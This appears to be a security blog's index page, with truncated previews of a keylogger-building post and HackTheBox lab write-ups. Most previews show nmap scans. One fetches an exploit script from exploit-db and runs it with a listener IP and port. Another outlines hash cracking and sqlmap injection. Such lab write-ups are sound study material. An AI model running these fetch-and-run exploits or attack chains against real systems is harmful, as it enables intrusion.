Building my first keylogger
Once upon a time, a friend of mine told me “Ca sa fii un portar bun, trebuie sa stii cum gandeste un atacant” N-am aparat o minge niciodata. This project was started to learn malware development t...
k0NN
Writeup - CVE SQLi
ares@legion:~/HackTheBox$ sudo nmap -sV -A -T4 $target Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 13:54 EET Nmap scan report for 10.10.10.138 (10.10.10.138) Host is up (0.051s lat...
VulnEscape RDP misconfigured
ares@legion:~$ sudo nmap -sVC -A -T4 $target Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-21 06:39 EST Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute Traceroute Tim...
Vaccine ~ SQLi
login page > ftp has a zip file > grep .php admin hash password > zip2john > crack with rockyou.txt > login > search query in panel > search= parameter in url > sqlmap > ...
Support - Active Directory
sudo nmap -sVC -A -T4 $target Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 10:59 EET Nmap scan report for 10.129.58.63 (10.129.58.63) Host is up (0.048s latency). Not shown: 988 fil...
Sau - CVE
CVE: https://github.com/entr0pie/CVE-2023-27163?tab=readme-ov-file curl -s https://www.exploit-db.com/download/51676 > exploit.py python3 python3 exploit.py 10.10.16.3 4444 http://10.10.11.22...
Retro - Active Directory
ares@legion:~/Documents$ sudo nmap -sVC -A -T4 --min-rate 1000 10.129.234.44 Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 14:18 EST Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 unde...
Reset - LFI on User-Agent to RCE
ares@legion:~/HackTheBox/Reset$ sudo nmap -sVC -A -T4 -p- --min-rate 1000 $target Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 06:05 EST Nmap scan report for 10.129.46.69 (10.129.46.69) Ho...
Precious - Command injection
ares@legion:~/HackTheBox$ sudo nmap -sV -A -T4 $target Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 21:54 EET Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Se...
Planning - CVE and exposed creds
ares@legion:~/HackTheBox/Planning$ sudo nmap -sVC -A -T4 -p- --min-rate 1000 $target Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 06:22 EST Stats: 0:00:10 elapsed; 0 hosts completed (1 up)...